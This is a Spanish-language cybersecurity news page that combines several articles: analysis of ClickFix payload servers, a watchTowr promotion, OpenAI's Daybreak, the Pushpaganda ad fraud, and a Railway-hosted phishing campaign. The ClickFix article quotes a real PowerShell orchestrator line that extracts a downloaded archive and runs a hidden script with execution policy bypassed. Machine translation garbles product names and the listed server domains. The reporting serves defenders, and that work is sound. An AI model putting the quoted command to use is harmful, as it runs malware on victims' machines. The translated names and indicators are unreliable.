Un investigador analiza 3000 cargas útiles de Live ClickFix, exponiendo la entrega de malware impulsada por API – CYBERDEFENSA.MX

Hacer clic en arreglarel truco que engaña a las personas para que ejecuten malware manualmente, se ha convertido silenciosamente en un back office.

Una nueva investigación muestra que los comandos maliciosos detrás de sus páginas falsas de «demuestra que eres humano» ahora son distribuidos por servidores basados ​​en API que le dan a cada visitante el mismo malware con un disfraz diferente. La misma investigación también reveló un nuevo método de entrega creado para eludir el escaneo de scripts de Windows.

El investigador de seguridad Bert-Jan Pals desmontó varias plataformas ClickFix y analizó aproximadamente 3000 cargas útiles de campañas en vivo. Presentó los hallazgos en naranjacon a principios de junio y publicó los detalles el 30 de junio.

ClickFix es simple por diseño. Una página con trampa explosiva muestra un CAPTCHA falso o un error, JavaScript oculto coloca un comando en su portapapeles y la página le indica que presione una combinación de teclas, pegue y presione Enter. Usted mismo ejecuta el malware.

Por lo general, no hay ningún exploit en el primer paso y, a menudo, no hay ningún archivo que los antivirus tradicionales puedan marcar, por lo que los controles convencionales de correo electrónico y terminales tienen menos que detectar.

Funciona lo suficientemente bien como para que ESET mida un 517% salto desde finales de 2024 hasta la primera mitad de 2025, y Microsoft Informe de defensa digital 2025 lo sitúa en el 47% de los casos de acceso inicial vistos por su equipo de Defender Experts.

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La técnica ahora tiene su propia entrada en MITRE ATT&CK, T1204.004.

Cargas útiles hechas a pedido

La parte nueva es cómo se producen las cargas útiles. Pals descubrió que las páginas extraían sus comandos de servidores backend que funcionan como un servicio bajo demanda: aceptan solicitudes, verifican un token de acceso, registran a la persona que llama y devuelven un comando recién codificado cada vez.

Le pidió a un servidor 100 cargas útiles y obtuvo 100 diferentes, envueltas en una mezcla rotativa de Base64, AES, TripleDES, Rijndael y Deflate. Quite el envoltorio y, al menos por ahora, todos se descomprimirán en el mismo script, que se ejecuta en la memoria a través de un espacio de ejecución de PowerShell.

El disfraz es desechable; el malware que contiene no lo es, aunque Pals advierte que la carga principal probablemente comenzará a cambiar según la víctima en poco tiempo. La misma plataforma sirve señuelos en 25 idiomas y hace coincidir el comando con el sistema operativo del visitante, con versiones de macOS ejecutándose junto con Windows.

La etiqueta «como servicio» no es sólo marca. ESET ha rastreado a delincuentes que venden constructores ClickFix ya preparados a otros atacantes. Pals encontró una comercialización paralela un nivel más profundo, en cómo cada carga útil se produce a pedido.

Una forma más silenciosa de entrar: el método de la carpeta de Descargas

El segundo hallazgo es una respuesta directa a los defensores que miran el portapapeles. En lugar de copiar un comando malicioso, las páginas más nuevas copian uno que parece inofensivo.

La página descarga silenciosamente un archivo a la carpeta Descargas y el portapapeles recibe una breve línea de «orquestador» que mueve ese archivo, lo descomprime y ejecuta el script que contiene. Debido a que la línea pegada es solo ese orquestador y no la carga útil en sí, está diseñada para pasar por alto AMSI, la característica de Windows que permite que el antivirus analice los scripts antes de que se ejecuten. El código incorrecto se encuentra en el archivo descargado, a un lado. La línea del portapapeles observada tenía este aspecto:

powershell -C «$t=$env:TMP;Move-Item \»$HOME\Downloads\tmp.zip\» \»$t\7947.zip\»;tar -xf \»$t\7947.zip\» -C \»$t\»;conhost –headless powershell -ExecutionPolicy Bypass -File \»$t\tmp.ps1\» # \»* No soy un robot reCAPTCHA ID de verificación: 7947 *\»»

La ejecución también se ha vuelto sigilosa. El señuelo original de 2024 decía a la gente que presionara Windows+R y lo pegara en el cuadro Ejecutar. Una versión más nueva, común hasta 2025 y 2026, los dirige a Windows+X y a la Terminal de Windows. El uso de la terminal parece más común y, a diferencia del cuadro Ejecutar, no deja rastro en la clave de registro RunMRU que los investigadores normalmente verifican.

ClickFix dejó de ser una herramienta exclusiva para delincuentes hace un tiempo. Punto de prueba vincularon a grupos respaldados por estados de Rusia, Irán y Corea del Norte, incluidos APT28, MuddyWater y Kimsuky, a campañas que colocaron a ClickFix en sus cadenas de infección existentes, y equipos norcoreanos crearon una versión de «entrevista ClickFake» de trabajo falso para afectar a los trabajadores de criptomonedas.

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El truco ha generado parientes nombrados como FileFix y DescargarReparar que se apoyan en otras herramientas confiables de Windows. La escala tampoco es teórica: la empresa de seguridad Expel encontró una ola de ClearFake que probablemente infectó hasta 147.521 sistemas desde finales de agosto de 2025.

Lo que los defensores deberían mirar

La lección defensiva no ha cambiado. Los detalles tienen. Las señales confiables son cadenas de procesos, no texto del portapapeles: explorador.exe o WindowsTerminal.exe lanzamiento powershell.exe, cmd.exeo msiexec.exe y comunicarse con la red inmediatamente después.

Esos fueron los lanzadores más comunes en los datos de Pals, con PowerShell y cmd empatados en aproximadamente un 39% cada uno y msiexec muy cerca con un 34%.

El EDR de comportamiento, las reglas de control de aplicaciones que limitan qué programas pueden llamar a intérpretes de secuencias de comandos y la guía sencilla para el usuario («nunca pegue un comando que le dijeron que ejecutara en el cuadro Ejecutar o en una terminal») todavía se mantienen. El método de la carpeta de Descargas agrega una cosa más para buscar: una frase de apariencia inocente que toca la carpeta de Descargas y luego genera un PowerShell oculto.

Pals también enumeró tres servidores de carga útil vistos durante la investigación:

  • estrella cómica[.]latitud
  • bebé[.]cfd
  • merkantalolol[.]Asia

Una conexión con uno de estos no prueba infección. Significa que lo más probable es que un comando haya sido colocado en el portapapeles de alguien.

El veredicto de Pals sobre esta técnica es contundente: «ClickFix llegó para quedarse». El patrón en su investigación es que ClickFix cambia en el momento en que los defensores se ponen al día, y el paso de scripts únicos a servidores de carga útil bajo demanda es lo que hace que esa adaptación sea barata de repetir.

Lo siguiente que vale la pena observar es si el malware en sí, y no sólo su envoltorio, comienza a cambiar de una víctima a otra.

La explotación impulsada por la IA está destruyendo la gestión de vulnerabilidades. He aquí cómo manejarlo. – CYBERDEFENSA.MX

Los plazos de explotación impulsados ​​por la IA se están reduciendo rápidamente y no van a dejar de reducirse. Las vulnerabilidades se descubren, reproducen y utilizan como armas más rápido que nunca en la historia de la seguridad empresarial. Como resultado, la ventana entre la divulgación de una vulnerabilidad y la explotación indiscriminada observada en Internet ahora se mide en horas, no en días.

La principal respuesta de la industria ha sido en gran medida: parchear más rápido.

Los reguladores lo dicen, las juntas directivas lo esperan y los ejecutivos lo exigen. Pero para la mayoría de las empresas, no es un botón que los defensores puedan presionar. La aplicación de parches es un proceso controlado determinado por requisitos de tiempo de actividad, pruebas de estabilidad, ventanas de cambio, aprobaciones comerciales, obligaciones de cumplimiento y la realidad de que los sistemas de producción no se pueden dañar en nombre de la urgencia.

Si bien la aplicación de parches sigue siendo esencial, la aplicación de parches por sí sola o incluso la aplicación de parches más rápido ya no es una respuesta completa a esta «nueva normalidad» y a la afluencia de vulnerabilidades reveladas. La actualización del Proyecto Glasswing de Anthropic en mayo de 2026 hizo que el desequilibrio fuera difícil de ignorar. La compañía dijo que, junto con aproximadamente 50 socios, utilizó Claude Mythos Preview para identificar más de 10,000 vulnerabilidades de gravedad alta o crítica en software de importancia sistémica en un solo mes, mientras que muchas otras organizaciones informan resultados similares con esfuerzos internos, impulsados ​​por IA.

La IA está industrializando la investigación de vulnerabilidades, pero no sólo para los defensores o los proveedores de software. Los atacantes utilizan las mismas herramientas, con la misma ventaja de velocidad, para identificar y reproducir vulnerabilidades que luego se utilizan contra las organizaciones a las que apuntan.

Entonces, ¿qué significa esto para los plazos de explotación y la defensa?

El cuello de botella se ha movido

No es ningún secreto que los plazos de explotación se han ido reduciendo durante años y, en los últimos años, no ha sido raro que las revelaciones de vulnerabilidades vayan seguidas de explotación salvaje en horas de un solo dígito. Con la IA, la ventana que puede tener una gran organización desde que le dicen que hay un problema hasta que alguien intenta usarlo en su contra seguirá comprimiéndose.

Por otra parte, la remediación y la aplicación de parches no han seguido el ritmo. El DBIR 2026 de Verizon es claro en este punto: el tiempo medio para que una organización parchee una vulnerabilidad crítica aumentó año tras año, de 32 días a 43 días.

La realidad es brutal: mientras los atacantes operan en plazos medidos en horas, los defensores operan en plazos medidos en semanas. En esa brecha es donde realmente ocurre la explotación.

Sí, hay más vulnerabilidades. Sí, los atacantes se están moviendo más rápido. Pero la parte más difícil para los defensores es que la remediación no es, y tal vez no pueda ser, más rápida. Decir a las organizaciones que «simplemente parcheen más rápido» es como decirle a alguien que «sea más alto». Suena útil y bien intencionado, pero no es algo que la mayoría de los equipos puedan decidir hacer simplemente.

Luego hay presión proveniente de los reguladores. El CERT-IN de la India emitió recientemente una guía que apunta hacia expectativas de parches subdiarios para ciertas vulnerabilidades críticas. La intención es clara, pero ignora la realidad operativa.

La visión realista es que se abordarán algunas vulnerabilidades antes de que puedan remediarse por completo. Los equipos de seguridad deben planificar en torno a esa realidad sin crear nuevos riesgos operativos. Eso significa responder algunas preguntas rápidamente:

  • ¿Utilizamos esta tecnología?
  • ¿Es la vulnerabilidad teórica?
  • ¿Es la vulnerabilidad explotable dentro de nuestro entorno?
  • ¿Cómo sería la explotación?
  • ¿Qué controles temporales pueden reducir el riesgo mientras se ejecuta el ciclo normal de parches?

El modelo operativo debe cambiar para prevenir, validar y mitigar. Y aquí se explica cómo hacerlo.

Paso 1: Anticiparse a lo que los atacantes probablemente aprovechen

Cada vulnerabilidad revelada no conlleva la misma urgencia. Algunas vulnerabilidades nunca serán explotadas en el mundo real. Otros tienen las características que buscan los atacantes: amplia implementación, accesibilidad a Internet, explotación repetible y un camino claro hacia un acceso significativo a un entorno objetivo.

En un futuro aterradormente cercano donde vemos cientos, si no miles, de vulnerabilidades reveladas diariamente, la preferencia significa identificar qué vulnerabilidades tienen más probabilidades de ser explotadas en estado salvaje para que se pueda realizar un nivel de filtrado y los equipos no pierdan un tiempo crítico investigando todo. La gravedad todavía importa, pero nunca ha sido el panorama completo.

En un ciclo impulsado por IA, ese filtrado debe realizarse en las primeras horas después de la divulgación, antes de que los equipos hayan trabajado en la lista completa. Reducir el campo desde el principio es lo que mantiene a las organizaciones por delante de la ventana de explotación en lugar de reaccionar a ella después del hecho.

Paso 2: reaccionar rápidamente ante las amenazas emergentes y validar la exposición

Una vez que se determina que la explotación salvaje de una amenaza emergente es probable o confirmada, los defensores necesitan la capacidad de reaccionar rápidamente y validar la exposición específica de su organización antes de que los atacantes actúen.

Eso significa convertir una nueva campaña de divulgación o explotación de vulnerabilidades en una respuesta específica del entorno: ¿estamos expuestos? ¿Dónde estamos expuestos? ¿A quién pertenecen los sistemas afectados? ¿Está demostrada la explotabilidad? La reacción rápida del mundo real a las amenazas emergentes debe identificar los sistemas conectados a Internet en todas las unidades de negocios, departamentos y subsidiarias, y contextualizar la vulnerabilidad con inteligencia de amenazas relevante.

Luego, la validación confirma si un atacante puede acceder al componente vulnerable y si es explotable en el mundo real. Una posible vulnerabilidad crea una investigación. Pero una vulnerabilidad validada y explotable, dada la velocidad de la explotación salvaje, ahora requiere una acción rápida y autónoma.

Cuanto más rápido los equipos hagan esa distinción, más rápido podrán decidir qué mitigar, qué monitorear y qué puede pasar a través de la remediación normal.

La velocidad sin precisión genera pánico, y la precisión sin velocidad es irrelevante. Ambos deben combinarse al responder a una amenaza emergente, antes de que comience la explotación.

Paso 3: Mitigar para ganar tiempo para una remediación efectiva

Una vez que se valida la exposición, es posible que la remediación aún requiera pruebas, control de cambios y una implementación coordinada.

La mitigación reduce la explotabilidad durante esa ventana. Para los sistemas con acceso a Internet, esto podría incluir restricciones de acceso, deshabilitación de funciones vulnerables, reglas WAF o API, actualizaciones de IDS o IPS, aislamiento, cambios de configuración, monitoreo o controles temporales que bloqueen patrones de explotación. La mitigación eficaz también debe basarse en cómo funciona la explotación. Una regla genérica basada en un resumen de CVE es más débil que un control creado a partir de la ruta del exploit, la carga útil, las condiciones requeridas y el mal comportamiento conocido. Estos controles no necesitan ser permanentes. Necesitan hacer que la explotación sea más lenta, menos confiable y más difícil de escalar mientras la organización aplica parches de manera segura.

La mitigación autónoma cierra la brecha entre la velocidad del atacante y la velocidad de parcheo. Es el único control que opera en el mismo plazo que la explotación.

Para esto está construido watchTowr

La plataforma WatchTowr comprime la línea de tiempo del defensor para que coincida con las líneas de tiempo de ataque impulsadas por la IA. Al adoptar un enfoque dirigido por atacantes, la plataforma identifica debilidades y vulnerabilidades explotables y, frente a un volumen implacable de amenazas emergentes, permite continuamente a las organizaciones reaccionar rápidamente y mitigar su exposición.

Al aprovechar la IA para combinar inteligencia proactiva contra amenazas, gestión de la superficie de ataque externo y mitigación autónoma, la plataforma watchTowr proporciona claridad: muestra a los equipos qué pueden ver los atacantes, qué pueden explotar y qué se puede hacer para mitigar antes de comprometerse.

Los parches siguen siendo necesarios y absolutamente esenciales. Pero en un mundo de explotación impulsado por la IA, la aplicación de parches por sí sola no se puede realizar a la velocidad requerida y al mismo tiempo garantizar la disponibilidad y evitar interrupciones. La plataforma watchTowr, una solución de gestión de exposición preventiva impulsada por IA, ayuda a las organizaciones a anticiparse a los atacantes, validar la exposición a amenazas emergentes y mitigar de forma autónoma para obtener lo único que los atacantes no pueden dejar atrás: tiempo para responder.

Para programar una demostración y obtener más información sobre la gestión de exposición preventiva, visite atalaya.com.

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OpenAI lanza Daybreak para la detección de vulnerabilidades y validación de parches impulsada por IA – CYBERDEFENSA.MX

OpenAI ha lanzado Recreo de díauna nueva iniciativa de ciberseguridad que reúne capacidades de modelos de inteligencia artificial (IA) de vanguardia y Codex Security para ayudar a las organizaciones a identificar y parchear vulnerabilidades antes de que los atacantes encuentren una manera de utilizar los mismos problemas.

«Daybreak combina la inteligencia de los modelos OpenAI, la extensibilidad de Codex como un arnés de agencia y nuestros socios en todo el volante de seguridad para ayudar a hacer el mundo más seguro para todos», dijo la empresa emergente de IA. dicho. «Los defensores pueden incorporar revisión de código seguro, modelado de amenazas, validación de parches, análisis de riesgos de dependencia, detección y orientación de corrección al ciclo de desarrollo diario para que el software se vuelva más resistente desde el principio».

Al igual que Mythos de Anthropic, la idea es aprovechar la IA para inclinar la balanza a favor de los defensores y ayudar a detectar y abordar problemas de seguridad antes de que los malos actores los encuentren. El acceso a las herramientas sigue estando estrictamente controlado por ahora, y OpenAI insta a las organizaciones interesadas a solicitar un análisis de vulnerabilidades o ponerse en contacto con su equipo de ventas.

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Daybreak aprovecha Codex Security para crear un modelo de amenazas editable para un repositorio determinado que se centra en rutas de ataque realistas y código de alto impacto, identifica y prueba vulnerabilidades en un entorno aislado y propone soluciones.

El esfuerzo se basa en tres modelos: GPT-5.5 (que tiene protecciones estándar para uso general), GPT-5.5 con Trusted Access for Cyber ​​(para trabajo defensivo verificado en entornos autorizados) y GPT-5.5-Cyber ​​(un modelo permisivo para equipos rojos, pruebas de penetración y validación controlada).

Varias empresas importantes como Akamai, Cisco, Cloudflare, CrowdStrike, Fortinet, Oracle, Palo Alto Networks y Zscaler ya están integrando estas capacidades bajo la iniciativa Trusted Access for Cyber, dijo OpenAI, agregando que está trabajando con socios de la industria y el gobierno para implementar «más modelos con capacidad cibernética» en el futuro.

El lanzamiento se produce cuando las herramientas de inteligencia artificial han acortado el tiempo necesario para descubrir problemas de seguridad latentes que de otro modo podrían haber pasado desapercibidos, convirtiendo lo que antes habría requerido una cantidad significativa de tiempo y esfuerzo en un período de trabajo mucho más corto. Como resultado, el proceso de parcheo puede tener dificultades para mantenerse incluso en condiciones ideales.

A principios de marzo, HackerOne pausado su programa de recompensas por errores cita un cambio en el equilibrio entre los descubrimientos de vulnerabilidades y la capacidad de los mantenedores de código abierto para abordarlos, atribuyéndolo a cómo la investigación asistida por IA ha llevado a un aumento en el volumen de nuevas fallas y la velocidad a la que se identifican.

Esto también ha tenido el efecto secundario de lo que se llama fatiga de clasificación, donde los mantenedores del proyecto deben examinar una avalancha de informes de vulnerabilidad, algunos de los cuales podrían parecer plausibles pero completamente alucinados por los modelos de IA.

Ciberseguridad

A medida que la IA reduce la barrera para encontrar fallas de seguridad, empresas como Anthropic, Google y OpenAI han posicionado cada vez más a los agentes de seguridad de IA como una nueva capa operativa para abordar el cuello de botella de remediación y salvaguardar la infraestructura digital de una posible explotación.

En una publicación publicada la semana pasada, el investigador de seguridad Himanshu Anand dicho «La política de divulgación de 90 días está muerta», ya que los grandes modelos de lenguaje (LLM) comprimen la divulgación y explotan los plazos hasta casi cero.

«Cuando 10 investigadores no relacionados encuentran el mismo error en seis semanas, y la IA puede convertir un parche en un exploit funcional en 30 minutos, ¿qué protege exactamente la ventana de 90 días? Nadie», dijo Anand.

La estafa Pushpaganda impulsada por IA aprovecha Google Discover para difundir scareware y fraude publicitario – CYBERDEFENSA.MX

Investigadores de ciberseguridad han desenmascarado un novedoso esquema de fraude publicitario que aprovecha técnicas de envenenamiento de motores de búsqueda (SEO) y contenido generado por inteligencia artificial (IA) para introducir noticias engañosas en el sitio web de Google. Descubre el feed y engañar a los usuarios para que habiliten notificaciones persistentes en el navegador que conducen a scareware y estafas financieras.

La campaña, que se ha descubierto que se dirige a los feeds de contenido personalizados de los usuarios de Android y Chrome, lleva el nombre en código pushpaganda por el equipo de investigación e inteligencia sobre amenazas Satori de HUMAN.

«Esta operación, llamada así por las notificaciones automáticas centrales para el esquema, genera tráfico orgánico no válido desde dispositivos móviles reales al engañar a los usuarios para que se suscriban y activen notificaciones que presentan mensajes alarmantes», investigadores Louisa Abel, Vikas Parthasarathy, João Santos y Adam Sell dicho en un informe compartido con The Hacker News.

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En su punto máximo, alrededor de 240 millones de solicitudes de oferta se asociaron con 113 dominios vinculados a la campaña durante un período de siete días. La amenaza, aunque se observó que apuntaba a la India, desde entonces se ha expandido a otras regiones como Estados Unidos, Australia, Canadá, Sudáfrica y el Reino Unido.

Los hallazgos demuestran cómo los actores de amenazas abusan de la IA para secuestrar superficies de descubrimiento confiables y convertirlas en vehículos de entrega de scareware, deepfakes y fraude financiero, dijo Gavin Reid, director de seguridad de la información de HUMAN. Desde entonces, Google ha implementado una solución para solucionar el problema del spam.

Todo el plan depende de que los estafadores atraigan a usuarios desprevenidos a través de Google Discover para engañarlos y hacerles visitar noticias engañosas llenas de contenido generado por IA. Una vez que un usuario llega a uno de los dominios controlados por el actor, se le obliga a habilitar notificaciones automáticas que generan estafas y amenazas legales falsas.

Específicamente, una vez que se hace clic en las notificaciones de scareware, se redirige a los usuarios a sitios adicionales operados por los actores de la amenaza, lo que genera tráfico orgánico a los anuncios integrados en esos sitios y les permite generar ingresos ilícitos.

Esta no es la primera vez que los actores de amenazas utilizan las notificaciones automáticas como arma para redirigir a sitios web sospechosos. En septiembre de 2025, Infoblox arrojó luz sobre un actor de amenazas conocido como Vane Viper que se ha involucrado en un abuso sistemático de notificaciones automáticas para publicar anuncios y facilitar campañas de ingeniería social al estilo ClickFix.

«Las amenazas basadas en malware que involucran notificaciones automáticas, tanto para plataformas web como móviles, no son una amenaza novedosa, especialmente si se considera la forma en que crean una sensación de urgencia», dijo a The Hacker News Lindsay Kaye, vicepresidenta de inteligencia de amenazas de HUMAN Security. «En muchos casos, los usuarios hacen clic rápidamente, ya sea para hacer que desaparezcan o para obtener más información, lo que los convierte en una herramienta eficaz en el arsenal de un autor de malware».

La divulgación también se produce poco más de un mes después de que HUMAN identificara una colección de más de 3.000 dominios y 63 aplicaciones de Android que, según dijo, constituía uno de los mercados de lavado de fraude publicitario más grandes jamás descubierto. Apodado Low5 por su uso de sitios de noticias y juegos basados ​​en HTML5, se ha descubierto que la operación monetiza los dominios como sitios de retiro de dinero para sofisticados esquemas de fraude, incluido BADBOX 2.0.

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«La operación alcanzó un máximo de aproximadamente 2 mil millones de solicitudes de ofertas por día y puede haber operado en hasta 40 millones de dispositivos en todo el mundo», dijo la compañía. dicho. «Las aplicaciones asociadas con Low5 incluyen un código que indica a los dispositivos de los usuarios que visiten uno de los dominios conectados con el esquema y hagan clic en los anuncios que se encuentran allí».

Los sitios de retiro de efectivo, también llamados sitios fantasma, se utilizan para realizar fraudes basados ​​en contenido, donde los atacantes utilizan sitios y aplicaciones falsos para vender espacio a anunciantes que pueden asumir que sus anuncios serán vistos por humanos. Las aplicaciones de Android en cuestión se eliminaron de Google Play Store.

«Una capa de monetización compartida que abarca más de 3000 dominios permite que múltiples actores de amenazas se conecten a la misma infraestructura, creando un sistema de lavado distribuido que aumenta la resistencia a las amenazas, complica la atribución y permite una replicación rápida», añadió HUMAN.

«Una conclusión clave de esta investigación es que la infraestructura de monetización puede sobrevivir incluso después de que se cierre una campaña de fraude específica. Si se elimina una aplicación o red de dispositivo malicioso, otros actores aún pueden reutilizar los mismos dominios de retiro. Low5 refuerza la necesidad de una inteligencia de amenazas continua y agresiva y experiencia en detección para buscar dominios de retiro y marcarlos antes de la oferta».

Una campaña de phishing impulsada por IA ha comprometido a cientos de organizaciones

A campaña de phishing vinculado al servicio de alojamiento en la nube de IA Railway ha dado a los piratas informáticos acceso a las cuentas en la nube de Microsoft para cientos de empresas, según investigadores de Huntress.

Rich Mozeleski, gerente de producto del equipo de identidad de Huntress, dijo a CyberScoop que la campaña está actualmente vinculada a un actor más pequeño y aproximadamente una docena de direcciones IP, pero ha logrado comprometer cientos de objetivos en las últimas semanas.

A principios de marzo comprometía unas pocas docenas de objetivos por día, pero a partir del 3 de marzo hubo un “aumento masivo” en ese ritmo. Mozeleski dijo que, además de ser más sofisticado de lo habitual, no se utilizaron correos electrónicos ni dominios idénticos, lo que llevó a los investigadores a sospechar que pudieron haber sido generados a través de herramientas de inteligencia artificial. Las plantillas iban desde señuelos de correo electrónico tradicionales hasta códigos QR y sitios cooptados para compartir archivos.

“Solo la cantidad fue como si se hubiera abierto la Caja de Pandora, y la eficacia estaba por las nubes”, dijo Mozeleski.

Un señuelo de phishing de descarga de archivos personalizado utilizado en la campaña. Los investigadores creen que los atacantes utilizaron IA para generar señuelos únicos a escala. (Fuente: Cazadora)

Un señuelo de phishing de descarga de archivos personalizado utilizado en la campaña. Los investigadores creen que los atacantes utilizaron IA para generar señuelos únicos a escala. (Fuente: Cazadora)

La campaña de phishing explota el flujo de autenticación de Microsoft para dispositivos como televisores inteligentes, impresoras y terminales, lo que le otorga al atacante tokens OAuth válidos para esa cuenta por hasta 90 días sin necesidad de contraseña o autenticación multifactor.

En última instancia, Huntress ha visto a cientos de sus clientes caer en estafas de phishing, aunque afirman haber evitado la actividad posterior al compromiso en todos los casos. Pero también creen que sus clientes representan sólo una pequeña fracción del probable conjunto total de víctimas, que podría ascender a miles.

Las entidades afectadas abarcan una variedad de sectores: empresas de construcción y comercio, bufetes de abogados, organizaciones sin fines de lucro, bienes raíces, manufactura, finanzas y seguros, atención médica, gobierno y organizaciones de seguridad pública se encontraban entre las 344 víctimas detalladas en el blog de Huntress.

Para proteger a los clientes, Mozeleski dijo que Huntress emitió el miércoles una actualización de la política de acceso condicional a 60.000 inquilinos de la nube de Microsoft en correos electrónicos provenientes de dominios Railway, un acto que describió como «nada que hayamos hecho antes».

Armando la infraestructura codificada por vibraciones

Los investigadores creen que los atacantes estaban utilizando la plataforma como servicio de Railway, creada para ayudar a los no codificadores a crear sitios web y herramientas, para activar la infraestructura de recolección de credenciales para la campaña.

Al utilizar dominios comprometidos y lanzar señuelos personalizados, los correos electrónicos de phishing evitan la mayoría de las soluciones comerciales de filtrado de correo electrónico. No está claro si utilizaron la herramienta de inteligencia artificial de Railway o una separada para generar los señuelos. De cualquier manera, todos los ataques que Huntress ha observado provienen de la infraestructura IP de Railway.com.

En respuesta a las preguntas de CyberScoop el viernes, el ingeniero de soluciones ferroviarias Angelo Saraceno dijo que la compañía está al tanto del incidente y Huntress se puso en contacto por primera vez el 6 de marzo con respecto al tráfico de phishing que se origina desde una dirección IP específica y tres dominios. “Las cuentas asociadas fueron prohibidas y los dominios bloqueados”, dijo Saraceno.

«Nuestras heurísticas están diseñadas para detectar correlaciones: tarjetas de crédito repetidas, fuentes de código compartidas, infraestructura superpuesta», escribió en un correo electrónico. «Cuando una campaña evita esas señales, llega más lejos de lo que nos gustaría».

Saraceno calificó la detección de fraudes de Railway como «un equilibrio» entre atrapar a los malos actores y verse inundado de falsos positivos, señalando un incidente en febrero, cuando un ajuste en el sistema automatizado de control de abusos de la empresa provocó una interrupción del servicio del cliente.

El viernes temprano, Mozeleski le dijo a CyberScoop que Huntress seguía viendo más de 50 compromisos por día vinculados a dominios de phishing de Railway. Cuando se le preguntó qué más podría haber hecho Railway para evitar el abuso de su plataforma, dijo que se podría mejorar la investigación y validación del uso gratuito de su producto. Señaló productos con pruebas similares, como MailChimp y HubSpot, que cuentan con controles y supervisión para que los usuarios no puedan «entrar en un millón de contactos y comenzar a enviar spam».

«No permitan que nadie entre, inicie una prueba, active recursos y comience a utilizar su infraestructura» para ataques cibernéticos, dijo.

Uno de los contrastes más sorprendentes de la campaña fue el uso de la IA para crear una infraestructura de phishing similar a la de un actor de amenazas patrocinado por el estado o un grupo cibercriminal avanzado al servicio de una estafa de phishing común y corriente.

Esto refuerza las advertencias de los expertos en ciberseguridad de que los ciberdelincuentes de bajo nivel, a menudo llamados “script kiddies” por su dependencia de herramientas de piratería automatizadas, están preparados para convertirse en uno de los mayores beneficiarios de la era de la IA generativa. El mes pasado, John Hultquist, analista jefe del Threat Intelligence Group de Google, dijo que espera que las herramientas de inteligencia artificial ayuden a «los grupos cibercriminales más pequeños más que a los piratas informáticos patrocinados por el estado».

Los testimonios en el sitio web de Railway promocionan la capacidad del servicio para ofrecer «escala automática vertical lista para usar», mientras que otro dijo que «hace que la creación de herramientas de terceros autohospedadas sea casi sin esfuerzo».

También puede darles una ventaja sobre las organizaciones víctimas que tienen políticas internas más restrictivas en torno al uso de la IA para la ciberdefensa.

«Estamos viendo a los delincuentes como los primeros impulsores de la IA», dijo Prakash Ramamurthy, director de productos de Huntress. «No tienen ningún reparo en la PII, no tienen ningún reparo en el entrenamiento de modelos… y este incidente, simplemente por el ritmo al que ha evolucionado, es una especie de testimonio de ello».

Derek B. Johnson

Escrito por Derek B. Johnson

Derek B. Johnson es reportero de CyberScoop, donde su área incluye la ciberseguridad, las elecciones y el gobierno federal. Antes de eso, ha brindado una cobertura galardonada de noticias sobre ciberseguridad en los sectores público y privado para varias publicaciones desde 2017. Derek tiene una licenciatura en periodismo impreso de la Universidad de Hofstra en Nueva York y una maestría en políticas públicas de la Universidad George Mason en Virginia.